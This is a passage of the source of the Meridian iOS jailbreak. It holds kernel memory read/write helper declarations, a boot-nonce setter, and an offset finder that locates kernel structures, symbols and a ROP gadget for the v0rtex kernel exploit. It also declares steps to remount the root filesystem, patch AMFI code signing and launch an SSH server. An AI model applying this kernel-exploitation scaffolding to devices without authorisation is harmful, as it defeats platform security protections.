kwrite(uint64_t where, const void *p, size_t size); 69 | uint64_t rk64(uint64_t kaddr); 70 | uint32_t rk32(uint64_t kaddr); 71 | void wk64(uint64_t kaddr, uint64_t val); 72 | void wk32(uint64_t kaddr, uint32_t val); 73 | uint64_t remote_alloc(mach_port_t task_port, uint64_t size); 74 | uint64_t alloc_and_fill_remote_buffer(mach_port_t task_port, 75 | uint64_t local_address, 76 | uint64_t length); 77 | void remote_free(mach_port_t task_port, uint64_t base, uint64_t size); 78 | void remote_read_overwrite(mach_port_t task_port, 79 | uint64_t remote_address, 80 | uint64_t local_address, 81 | uint64_t length); 82 | uint64_t binary_load_address(mach_port_t tp); 83 | uint64_t ktask_self_addr(void); 84 | mach_port_t task_for_pid_workaround(int pid); 85 | uint64_t find_port_address(mach_port_name_t port); 86 | uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...); 87 | -------------------------------------------------------------------------------- /Meridian/Meridian/helpers/main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 22/12/2017. 6 | // Copyright © 2017 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "AppDelegate.h" 11 | 12 | int main(int argc, char * argv[]) { 13 | @autoreleasepool { 14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /Meridian/Meridian/helpers/nonce.h: -------------------------------------------------------------------------------- 1 | // 2 | // nonce.h 3 | // Meridian 4 | // 5 | // Created by Ben on 29/07/2018. 6 | // 7 | 8 | #ifndef nonce_h 9 | #define nonce_h 10 | 11 | int set_boot_nonce(const char *gen); 12 | const char *copy_boot_nonce(void); 13 | 14 | #endif /* nonce_h */ 15 | -------------------------------------------------------------------------------- /Meridian/Meridian/helpers/nonce.m: -------------------------------------------------------------------------------- 1 | // 2 | // nonce.m 3 | // Meridian 4 | // 5 | // Created by Ben on 29/07/2018. 6 | // 7 | 8 | #import 9 | #include "iokit.h" 10 | 11 | #define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY" 12 | #define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY" 13 | #define kNonceKey "com.apple.System.boot-nonce" 14 | 15 | CFMutableDictionaryRef makeDict(const char *key, const char *val) { 16 | CFStringRef cfKey = CFStringCreateWithCStringNoCopy(NULL, key, kCFStringEncodingUTF8, kCFAllocatorNull); 17 | CFStringRef cfVal = CFStringCreateWithCStringNoCopy(NULL, val, kCFStringEncodingUTF8, kCFAllocatorNull); 18 | 19 | CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 20 | 0, 21 | &kCFCopyStringDictionaryKeyCallBacks, 22 | &kCFTypeDictionaryValueCallBacks); 23 | if (!cfKey || !dict || !cfVal) { 24 | return NULL; 25 | } 26 | 27 | CFDictionarySetValue(dict, cfKey, cfVal); 28 | 29 | CFRelease(cfKey); 30 | CFRelease(cfVal); 31 | return dict; 32 | } 33 | 34 | int applyDict(CFMutableDictionaryRef dict) { 35 | io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); 36 | if (!MACH_PORT_VALID(nvram)) { 37 | return 1; 38 | } 39 | 40 | kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict); 41 | if (kret != KERN_SUCCESS) { 42 | return 1; 43 | } 44 | 45 | return 0; 46 | } 47 | 48 | int applyToNvram(const char *key, const char *val) { 49 | CFMutableDictionaryRef dict = makeDict(key, val); 50 | if (!dict) { 51 | return 1; 52 | } 53 | 54 | int ret = applyDict(dict); 55 | 56 | CFRelease(dict); 57 | return ret; 58 | } 59 | 60 | int set_boot_nonce(const char *gen) { 61 | int ret = applyToNvram(kIONVRAMDeletePropertyKey, kNonceKey); 62 | 63 | // set even if deletion failed 64 | ret = applyToNvram(kNonceKey, gen); 65 | ret = ret || applyToNvram(kIONVRAMForceSyncNowPropertyKey, kNonceKey); 66 | 67 | return ret; 68 | } 69 | 70 | const char *copy_boot_nonce() { 71 | uint32_t length = 1024; 72 | char buf[length]; 73 | 74 | mach_port_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); 75 | if (!MACH_PORT_VALID(nvram)) { 76 | return NULL; 77 | } 78 | 79 | kern_return_t err = IORegistryEntryGetProperty(nvram, "com.apple.System.boot-nonce", (void *)buf, &length); 80 | if (err != KERN_SUCCESS) { 81 | return NULL; 82 | } 83 | 84 | buf[length] = '\0'; 85 | return strdup(buf); 86 | } 87 | -------------------------------------------------------------------------------- /Meridian/Meridian/helpers/nvpatch.h: -------------------------------------------------------------------------------- 1 | // 2 | // nvpatch.h 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 11/05/2018. 6 | // Copyright © 2018 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #ifndef nvpatch_h 10 | #define nvpatch_h 11 | 12 | int nvpatch(const char *target); 13 | 14 | #endif /* nvpatch_h */ 15 | -------------------------------------------------------------------------------- /Meridian/Meridian/helpers/untar.h: -------------------------------------------------------------------------------- 1 | // 2 | // untar.h 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 16/02/2018. 6 | // Copyright © 2018 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #ifndef untar_h 10 | #define untar_h 11 | 12 | int untar(FILE *a, const char *path); 13 | 14 | #endif /* untar_h */ 15 | -------------------------------------------------------------------------------- /Meridian/Meridian/jailbreak.h: -------------------------------------------------------------------------------- 1 | // 2 | // jailbreak.h 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 16/02/2018. 6 | // Copyright © 2018 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #ifndef jailbreak_h 10 | #define jailbreak_h 11 | 12 | BOOL great_success; 13 | 14 | int makeShitHappen(id view); 15 | int runV0rtex(void); 16 | int patchContainermanagerd(void); 17 | int remountRootFs(void); 18 | int extractMeridianData(void); 19 | void setUpSymLinks(void); 20 | int extractBootstrap(int *exitCode); 21 | int defecateAmfi(void); 22 | int launchDropbear(void); 23 | void setUpSubstitute(void); 24 | int startJailbreakd(void); 25 | int loadLaunchDaemons(void); 26 | void enableHiddenApps(void); 27 | 28 | #endif /* jailbreak_h */ 29 | -------------------------------------------------------------------------------- /Meridian/Meridian/mach/jailbreak_daemonUser.h: -------------------------------------------------------------------------------- 1 | #ifndef _jailbreak_daemon_user_ 2 | #define _jailbreak_daemon_user_ 3 | 4 | /* Module jailbreak_daemon */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | /* BEGIN VOUCHER CODE */ 17 | 18 | #ifndef KERNEL 19 | #if defined(__has_include) 20 | #if __has_include() 21 | #ifndef USING_VOUCHERS 22 | #define USING_VOUCHERS 23 | #endif 24 | #ifndef __VOUCHER_FORWARD_TYPE_DECLS__ 25 | #define __VOUCHER_FORWARD_TYPE_DECLS__ 26 | #ifdef __cplusplus 27 | extern "C" { 28 | #endif 29 | extern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import)); 30 | #ifdef __cplusplus 31 | } 32 | #endif 33 | #endif // __VOUCHER_FORWARD_TYPE_DECLS__ 34 | #endif // __has_include() 35 | #endif // __has_include 36 | #endif // !KERNEL 37 | 38 | /* END VOUCHER CODE */ 39 | 40 | 41 | /* BEGIN MIG_STRNCPY_ZEROFILL CODE */ 42 | 43 | #if defined(__has_include) 44 | #if __has_include() 45 | #ifndef USING_MIG_STRNCPY_ZEROFILL 46 | #define USING_MIG_STRNCPY_ZEROFILL 47 | #endif 48 | #ifndef __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ 49 | #define __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ 50 | #ifdef __cplusplus 51 | extern "C" { 52 | #endif 53 | extern int mig_strncpy_zerofill(char *dest, const char *src, int len) __attribute__((weak_import)); 54 | #ifdef __cplusplus 55 | } 56 | #endif 57 | #endif /* __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ */ 58 | #endif /* __has_include() */ 59 | #endif /* __has_include */ 60 | 61 | /* END MIG_STRNCPY_ZEROFILL CODE */ 62 | 63 | 64 | #ifdef AUTOTEST 65 | #ifndef FUNCTION_PTR_T 66 | #define FUNCTION_PTR_T 67 | typedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t); 68 | typedef struct { 69 | char *name; 70 | function_ptr_t function; 71 | } function_table_entry; 72 | typedef function_table_entry *function_table_t; 73 | #endif /* FUNCTION_PTR_T */ 74 | #endif /* AUTOTEST */ 75 | 76 | #ifndef jailbreak_daemon_MSG_COUNT 77 | #define jailbreak_daemon_MSG_COUNT 1 78 | #endif /* jailbreak_daemon_MSG_COUNT */ 79 | 80 | #include 81 | #include 82 | #include 83 | #include 84 | 85 | #ifdef __BeforeMigUserHeader 86 | __BeforeMigUserHeader 87 | #endif /* __BeforeMigUserHeader */ 88 | 89 | #include 90 | __BEGIN_DECLS 91 | 92 | 93 | /* Routine call */ 94 | #ifdef mig_external 95 | mig_external 96 | #else 97 | extern 98 | #endif /* mig_external */ 99 | kern_return_t jbd_call 100 | ( 101 | mach_port_t server_port, 102 | uint8_t command, 103 | uint32_t pid 104 | ); 105 | 106 | __END_DECLS 107 | 108 | /********************** Caution **************************/ 109 | /* The following data types should be used to calculate */ 110 | /* maximum message sizes only. The actual message may be */ 111 | /* smaller, and the position of the arguments within the */ 112 | /* message layout may vary from what is presented here. */ 113 | /* For example, if any of the arguments are variable- */ 114 | /* sized, and less than the maximum is sent, the data */ 115 | /* will be packed tight in the actual message to reduce */ 116 | /* the presence of holes. */ 117 | /********************** Caution **************************/ 118 | 119 | /* typedefs for all requests */ 120 | 121 | #ifndef __Request__jailbreak_daemon_subsystem__defined 122 | #define __Request__jailbreak_daemon_subsystem__defined 123 | 124 | #ifdef __MigPackStructs 125 | #pragma pack(4) 126 | #endif 127 | typedef struct { 128 | mach_msg_header_t Head; 129 | NDR_record_t NDR; 130 | uint8_t command; 131 | char commandPad[3]; 132 | uint32_t pid; 133 | } __Request__call_t __attribute__((unused)); 134 | #ifdef __MigPackStructs 135 | #pragma pack() 136 | #endif 137 | #endif /* !__Request__jailbreak_daemon_subsystem__defined */ 138 | 139 | /* union of all requests */ 140 | 141 | #ifndef __RequestUnion__jbd_jailbreak_daemon_subsystem__defined 142 | #define __RequestUnion__jbd_jailbreak_daemon_subsystem__defined 143 | union __RequestUnion__jbd_jailbreak_daemon_subsystem { 144 | __Request__call_t Request_jbd_call; 145 | }; 146 | #endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */ 147 | /* typedefs for all replies */ 148 | 149 | #ifndef __Reply__jailbreak_daemon_subsystem__defined 150 | #define __Reply__jailbreak_daemon_subsystem__defined 151 | 152 | #ifdef __MigPackStructs 153 | #pragma pack(4) 154 | #endif 155 | typedef struct { 156 | mach_msg_header_t Head; 157 | NDR_record_t NDR; 158 | kern_return_t RetCode; 159 | } __Reply__call_t __attribute__((unused)); 160 | #ifdef __MigPackStructs 161 | #pragma pack() 162 | #endif 163 | #endif /* !__Reply__jailbreak_daemon_subsystem__defined */ 164 | 165 | /* union of all replies */ 166 | 167 | #ifndef __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined 168 | #define __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined 169 | union __ReplyUnion__jbd_jailbreak_daemon_subsystem { 170 | __Reply__call_t Reply_jbd_call; 171 | }; 172 | #endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */ 173 | 174 | #ifndef subsystem_to_name_map_jailbreak_daemon 175 | #define subsystem_to_name_map_jailbreak_daemon \ 176 | { "call", 500 } 177 | #endif 178 | 179 | #ifdef __AfterMigUserHeader 180 | __AfterMigUserHeader 181 | #endif /* __AfterMigUserHeader */ 182 | 183 | #endif /* _jailbreak_daemon_user_ */ 184 | -------------------------------------------------------------------------------- /Meridian/Meridian/patchfinders/offsetdump.h: -------------------------------------------------------------------------------- 1 | // 2 | // offsetdump.h 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 30/03/2018. 6 | // Copyright © 2018 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #ifndef offsetdump_h 10 | #define offsetdump_h 11 | 12 | void dumpOffsetsToFile(offsets_t *offsets, uint64_t kernel_base, uint64_t kernel_slide); 13 | 14 | #endif /* offsetdump_h */ 15 | -------------------------------------------------------------------------------- /Meridian/Meridian/patchfinders/offsetfinder.h: -------------------------------------------------------------------------------- 1 | // 2 | // offsetfinder.h 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 08/03/2018. 6 | // Copyright © 2018 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #ifndef offsetfinder_h 10 | #define offsetfinder_h 11 | 12 | #ifdef __cplusplus 13 | extern "C" 14 | #endif 15 | offsets_t *get_offsets(void); 16 | 17 | #endif /* offsetfinder_h */ 18 | -------------------------------------------------------------------------------- /Meridian/Meridian/patchfinders/offsetfinder.mm: -------------------------------------------------------------------------------- 1 | // 2 | // offsetfinder.mm 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 08/03/2018. 6 | // Copyright © 2018 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #include "v0rtex.h" 10 | #include "liboffsetfinder64.hpp" 11 | #include "ViewController.h" 12 | #import 13 | 14 | static bool DidInit = false; 15 | static offsets_t off; 16 | 17 | extern "C" offsets_t *get_offsets() { 18 | if (DidInit) { 19 | return &off; 20 | } 21 | 22 | try { 23 | NSLog(@"[OFFSET] initializing offsetfinder..."); 24 | tihmstar::offsetfinder64 fi("/System/Library/Caches/com.apple.kernelcaches/kernelcache"); 25 | NSLog(@"[OFFSET] initialized offsetfinder"); 26 | 27 | off.base = 0xfffffff007004000; 28 | 29 | NSLog(@"[OFFSET] begginning offset finding..."); 30 | off.sizeof_task = (kptr_t)fi.find_sizeof_task(); 31 | off.task_itk_self = (kptr_t)fi.find_task_itk_self(); 32 | off.task_itk_registered = (kptr_t)fi.find_task_itk_registered(); 33 | off.task_bsd_info = (kptr_t)fi.find_task_bsd_info(); 34 | off.proc_ucred = (kptr_t)fi.find_proc_ucred(); 35 | off.vm_map_hdr = (kptr_t)fi.find_vm_map_hdr(); 36 | off.ipc_space_is_task = (kptr_t)fi.find_ipc_space_is_task(); 37 | off.realhost_special = 0x10; 38 | off.iouserclient_ipc = (kptr_t)fi.find_iouserclient_ipc(); 39 | off.vtab_get_retain_count = (kptr_t)fi.find_vtab_get_retain_count(); 40 | off.vtab_get_external_trap_for_index = (kptr_t)fi.find_vtab_get_external_trap_for_index(); 41 | NSLog(@"[OFFSET] grabbed struct offsets"); 42 | 43 | off.zone_map = (kptr_t)fi.find_zone_map(); 44 | off.kernel_map = (kptr_t)fi.find_kernel_map(); 45 | off.kernel_task = (kptr_t)fi.find_kernel_task(); 46 | off.realhost = (kptr_t)fi.find_realhost(); 47 | NSLog(@"[OFFSET] grabbed map offsets"); 48 | 49 | off.copyin = (kptr_t)fi.find_copyin(); 50 | off.copyout = (kptr_t)fi.find_copyout(); 51 | off.chgproccnt = (kptr_t)fi.find_chgproccnt(); 52 | off.kauth_cred_ref = (kptr_t)fi.find_kauth_cred_ref(); 53 | off.ipc_port_alloc_special = (kptr_t)fi.find_ipc_port_alloc_special(); 54 | off.ipc_kobject_set = (kptr_t)fi.find_ipc_kobject_set(); 55 | off.ipc_port_make_send = (kptr_t)fi.find_ipc_port_make_send(); 56 | off.osserializer_serialize = (kptr_t)fi.find_osserializer_serialize(); 57 | off.rop_ldr_x0_x0_0x10 = (kptr_t)fi.find_rop_ldr_x0_x0_0x10(); 58 | NSLog(@"[OFFSET] grabbed code offsets"); 59 | 60 | off.root_vnode = (kptr_t)fi.find_rootvnode(); 61 | 62 | off.vfs_context_current = (kptr_t)fi.find_sym("_vfs_context_current"); 63 | off.vnode_getfromfd = (kptr_t)fi.find_sym("_vnode_getfromfd"); 64 | off.vnode_getattr = (kptr_t)fi.find_sym("_vnode_getattr"); 65 | off.vnode_put = (kptr_t)fi.find_sym("_vnode_put"); 66 | off.csblob_ent_dict_set = (kptr_t)fi.find_sym("_csblob_entitlements_dictionary_set"); 67 | off.sha1_init = (kptr_t)fi.find_sym("_SHA1Init"); 68 | off.sha1_update = (kptr_t)fi.find_sym("_SHA1Update"); 69 | off.sha1_final = (kptr_t)fi.find_sym("_SHA1Final"); 70 | NSLog(@"[OFFSET] grabbed amfi offsets"); 71 | 72 | NSLog(@"[OFFSET] sizeof_task = 0x%llx", off.sizeof_task); 73 | NSLog(@"[OFFSET] task_itk_self = 0x%llx", off.task_itk_self); 74 | NSLog(@"[OFFSET] task_itk_registered = 0x%llx", off.task_itk_registered); 75 | NSLog(@"[OFFSET] kernel_task = 0x%llx", off.kernel_task); 76 | NSLog(@"[OFFSET] rootvnode = 0x%llx", off.root_vnode); 77 | NSLog(@"[OFFSET] sha1_init = 0x%llx", off.sha1_init); 78 | } catch (tihmstar::exception &e) { 79 | NSLog(@"offsetfinder failure! %d (%s)", e.code(), e.what()); 80 | return NULL; 81 | } catch (std::exception &e) { 82 | NSLog(@"fatal offsetfinder failure! %s", e.what()); 83 | return NULL; 84 | } 85 | 86 | DidInit = true; 87 | 88 | return &off; 89 | } 90 | -------------------------------------------------------------------------------- /Meridian/Meridian/patchfinders/patchfinder64.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCHFINDER64_H_ 2 | #define PATCHFINDER64_H_ 3 | 4 | #import "common.h" 5 | #import 6 | 7 | int init_patchfinder(const char *filename); 8 | void term_kernel(void); 9 | 10 | enum { SearchInCore, SearchInPrelink }; 11 | 12 | uint64_t find_register_value(uint64_t where, int reg); 13 | uint64_t find_reference(uint64_t to, int n, int prelink); 14 | uint64_t find_strref(const char *string, int n, int prelink); 15 | 16 | // amfi trust cache patching 17 | uint64_t find_trustcache(void); 18 | uint64_t find_amficache(void); 19 | 20 | // lwvm patching for <10.3 21 | uint64_t find_boot_args(unsigned *cmdline_offset); 22 | 23 | // used in jailbreakd 24 | uint64_t find_add_x0_x0_0x40_ret(void); 25 | uint64_t find_OSBoolean_True(void); 26 | uint64_t find_OSBoolean_False(void); 27 | uint64_t find_OSUnserializeXML(void); 28 | uint64_t find_smalloc(void); 29 | uint64_t find_cs_find_md(uint64_t sha1_init, uint64_t sha1_update, uint64_t sha1_final); 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /Meridian/Meridian/preferences.h: -------------------------------------------------------------------------------- 1 | // 2 | // Preferences.h 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 28/07/2018. 6 | // 7 | 8 | #ifndef Preferences_h 9 | #define Preferences_h 10 | 11 | enum { 12 | Port22 = 0, 13 | Port2222, 14 | Port222222 15 | }; 16 | 17 | void setTweaksEnabled(BOOL enabled); 18 | BOOL tweaksAreEnabled(void); 19 | void setStartLaunchDaemonsEnabled(BOOL enabled); 20 | BOOL startLaunchDaemonsIsEnabled(void); 21 | void setBootNonceValue(uint64_t bootNonce); 22 | uint64_t getBootNonceValue(void); 23 | void setStartDropbearEnabled(BOOL enabled); 24 | BOOL startDropbearIsEnabled(void); 25 | void setListenPort(NSInteger portOption); 26 | NSInteger listenPort(void); 27 | 28 | #endif /* Preferences_h */ 29 | -------------------------------------------------------------------------------- /Meridian/Meridian/preferences.m: -------------------------------------------------------------------------------- 1 | // 2 | // Preferences.m 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 28/07/2018. 6 | // 7 | 8 | #import 9 | 10 | #import "preferences.h" 11 | 12 | #define TweaksKey @"tweaksAreEnabled" 13 | #define StartLaunchDaemonsKey @"startLaunchDaemonsEnabled" 14 | #define BootNonceKey @"bootNonce" 15 | #define StartDropbearKey @"startDropbearEnabled" 16 | #define PortKey @"listenPortOption" 17 | 18 | #define ELECTRA_GENERATOR 0xbd34a880be0b53f3 19 | 20 | void setTweaksEnabled(BOOL enabled) { 21 | [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:TweaksKey]; 22 | [[NSUserDefaults standardUserDefaults] synchronize]; 23 | } 24 | 25 | BOOL tweaksAreEnabled() { 26 | NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:TweaksKey]; 27 | 28 | return (enabled) ? [enabled boolValue] : true; 29 | } 30 | 31 | void setStartLaunchDaemonsEnabled(BOOL enabled) { 32 | [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:StartLaunchDaemonsKey]; 33 | [[NSUserDefaults standardUserDefaults] synchronize]; 34 | } 35 | 36 | BOOL startLaunchDaemonsIsEnabled() { 37 | NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:StartLaunchDaemonsKey]; 38 | 39 | return (enabled) ? [enabled boolValue] : true; 40 | } 41 | 42 | void setBootNonceValue(uint64_t bootNonce) { 43 | [[NSUserDefaults standardUserDefaults] setInteger:bootNonce forKey:BootNonceKey]; 44 | [[NSUserDefaults standardUserDefaults] synchronize]; 45 | } 46 | 47 | uint64_t getBootNonceValue() { 48 | NSInteger integer = [[NSUserDefaults standardUserDefaults] integerForKey:BootNonceKey]; 49 | 50 | return (integer != 0x0) ? integer : ELECTRA_GENERATOR; 51 | } 52 | 53 | void setStartDropbearEnabled(BOOL enabled) { 54 | [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:StartDropbearKey]; 55 | [[NSUserDefaults standardUserDefaults] synchronize]; 56 | } 57 | 58 | BOOL startDropbearIsEnabled() { 59 | NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:StartDropbearKey]; 60 | 61 | return (enabled) ? [enabled boolValue] : false; 62 | } 63 | 64 | void setListenPort(NSInteger portOption) { 65 | [[NSUserDefaults standardUserDefaults] setInteger:portOption forKey:PortKey]; 66 | [[NSUserDefaults standardUserDefaults] synchronize]; 67 | } 68 | 69 | NSInteger listenPort(void) { 70 | NSNumber *portOption = [[NSUserDefaults standardUserDefaults] objectForKey:PortKey]; 71 | 72 | return (portOption) ? portOption.integerValue : Port222222; 73 | } 74 | -------------------------------------------------------------------------------- /Meridian/Meridian/root-rw.h: -------------------------------------------------------------------------------- 1 | // 2 | // root-rw.h 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 16/12/2017. 6 | // Copyright © 2017 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | 12 | int mount_root(uint64_t kslide, uint64_t root_vnode, int pre130); 13 | -------------------------------------------------------------------------------- /Meridian/Meridian/v0rtex.h: -------------------------------------------------------------------------------- 1 | #import "common.h" 2 | #include 3 | #include 4 | 5 | typedef struct 6 | { 7 | const char *version; 8 | kptr_t base; 9 | // Structure offsets 10 | kptr_t sizeof_task; 11 | kptr_t task_itk_self; 12 | kptr_t task_itk_registered; 13 | kptr_t task_bsd_info; 14 | kptr_t proc_ucred; 15 | kptr_t vm_map_hdr; 16 | kptr_t ipc_space_is_task; 17 | kptr_t realhost_special; 18 | kptr_t iouserclient_ipc; 19 | kptr_t vtab_get_retain_count; 20 | kptr_t vtab_get_external_trap_for_index; 21 | // Data 22 | kptr_t zone_map; 23 | kptr_t kernel_map; 24 | kptr_t kernel_task; 25 | kptr_t realhost; 26 | // Code 27 | kptr_t copyin; 28 | kptr_t copyout; 29 | kptr_t chgproccnt; 30 | kptr_t kauth_cred_ref; 31 | kptr_t ipc_port_alloc_special; 32 | kptr_t ipc_kobject_set; 33 | kptr_t ipc_port_make_send; 34 | kptr_t osserializer_serialize; 35 | kptr_t rop_ldr_x0_x0_0x10; 36 | // Remount 37 | kptr_t root_vnode; 38 | // AMFID stuff 39 | kptr_t vfs_context_current; 40 | kptr_t vnode_getfromfd; 41 | kptr_t vnode_getattr; 42 | kptr_t vnode_put; 43 | kptr_t csblob_ent_dict_set; 44 | kptr_t sha1_init; 45 | kptr_t sha1_update; 46 | kptr_t sha1_final; 47 | } offsets_t; 48 | 49 | typedef kern_return_t (*v0rtex_cb_t)(task_t tfp0, kptr_t kbase, void *cb_data); 50 | 51 | kern_return_t v0rtex(offsets_t *off, v0rtex_cb_t callback, void *cb_data); 52 | -------------------------------------------------------------------------------- /Meridian/Meridian/views/AppDelegate.h: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.h 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 22/12/2017. 6 | // Copyright © 2017 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface AppDelegate : UIResponder 12 | 13 | @property (strong, nonatomic) UIWindow *window; 14 | 15 | 16 | @end 17 | 18 | -------------------------------------------------------------------------------- /Meridian/Meridian/views/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.m 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 22/12/2017. 6 | // Copyright © 2017 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #import "AppDelegate.h" 10 | 11 | @interface AppDelegate () 12 | 13 | @end 14 | 15 | @implementation AppDelegate 16 | 17 | 18 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { 19 | // Override point for customization after application launch. 20 | return YES; 21 | } 22 | 23 | 24 | - (void)applicationWillResignActive:(UIApplication *)application { 25 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. 26 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. 27 | } 28 | 29 | 30 | - (void)applicationDidEnterBackground:(UIApplication *)application { 31 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. 32 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. 33 | } 34 | 35 | 36 | - (void)applicationWillEnterForeground:(UIApplication *)application { 37 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. 38 | } 39 | 40 | 41 | - (void)applicationDidBecomeActive:(UIApplication *)application { 42 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. 43 | } 44 | 45 | 46 | - (void)applicationWillTerminate:(UIApplication *)application { 47 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. 48 | } 49 | 50 | 51 | @end 52 | -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "size" : "20x20", 5 | "idiom" : "iphone", 6 | "filename" : "Icon-App-20x20@2x.png", 7 | "scale" : "2x" 8 | }, 9 | { 10 | "size" : "20x20", 11 | "idiom" : "iphone", 12 | "filename" : "Icon-App-20x20@3x.png", 13 | "scale" : "3x" 14 | }, 15 | { 16 | "size" : "29x29", 17 | "idiom" : "iphone", 18 | "filename" : "Icon-App-29x29@1x.png", 19 | "scale" : "1x" 20 | }, 21 | { 22 | "size" : "29x29", 23 | "idiom" : "iphone", 24 | "filename" : "Icon-App-29x29@2x.png", 25 | "scale" : "2x" 26 | }, 27 | { 28 | "size" : "29x29", 29 | "idiom" : "iphone", 30 | "filename" : "Icon-App-29x29@3x.png", 31 | "scale" : "3x" 32 | }, 33 | { 34 | "size" : "40x40", 35 | "idiom" : "iphone", 36 | "filename" : "Icon-App-40x40@2x.png", 37 | "scale" : "2x" 38 | }, 39 | { 40 | "size" : "40x40", 41 | "idiom" : "iphone", 42 | "filename" : "Icon-App-40x40@3x.png", 43 | "scale" : "3x" 44 | }, 45 | { 46 | "size" : "57x57", 47 | "idiom" : "iphone", 48 | "filename" : "Icon-App-57x57@1x.png", 49 | "scale" : "1x" 50 | }, 51 | { 52 | "size" : "57x57", 53 | "idiom" : "iphone", 54 | "filename" : "Icon-App-57x57@2x.png", 55 | "scale" : "2x" 56 | }, 57 | { 58 | "size" : "60x60", 59 | "idiom" : "iphone", 60 | "filename" : "Icon-App-60x60@2x.png", 61 | "scale" : "2x" 62 | }, 63 | { 64 | "size" : "60x60", 65 | "idiom" : "iphone", 66 | "filename" : "Icon-App-60x60@3x.png", 67 | "scale" : "3x" 68 | }, 69 | { 70 | "size" : "20x20", 71 | "idiom" : "ipad", 72 | "filename" : "Icon-App-20x20@1x.png", 73 | "scale" : "1x" 74 | }, 75 | { 76 | "size" : "20x20", 77 | "idiom" : "ipad", 78 | "filename" : "Icon-App-20x20@2x.png", 79 | "scale" : "2x" 80 | }, 81 | { 82 | "size" : "29x29", 83 | "idiom" : "ipad", 84 | "filename" : "Icon-App-29x29@1x.png", 85 | "scale" : "1x" 86 | }, 87 | { 88 | "size" : "29x29", 89 | "idiom" : "ipad", 90 | "filename" : "Icon-App-29x29@2x.png", 91 | "scale" : "2x" 92 | }, 93 | { 94 | "size" : "40x40", 95 | "idiom" : "ipad", 96 | "filename" : "Icon-App-40x40@1x.png", 97 | "scale" : "1x" 98 | }, 99 | { 100 | "size" : "40x40", 101 | "idiom" : "ipad", 102 | "filename" : "Icon-App-40x40@2x.png", 103 | "scale" : "2x" 104 | }, 105 | { 106 | "size" : "50x50", 107 | "idiom" : "ipad", 108 | "filename" : "Icon-Small-50x50@1x.png", 109 | "scale" : "1x" 110 | }, 111 | { 112 | "size" : "50x50", 113 | "idiom" : "ipad", 114 | "filename" : "Icon-Small-50x50@2x.png", 115 | "scale" : "2x" 116 | }, 117 | { 118 | "size" : "72x72", 119 | "idiom" : "ipad", 120 | "filename" : "Icon-App-72x72@1x.png", 121 | "scale" : "1x" 122 | }, 123 | { 124 | "size" : "72x72", 125 | "idiom" : "ipad", 126 | "filename" : 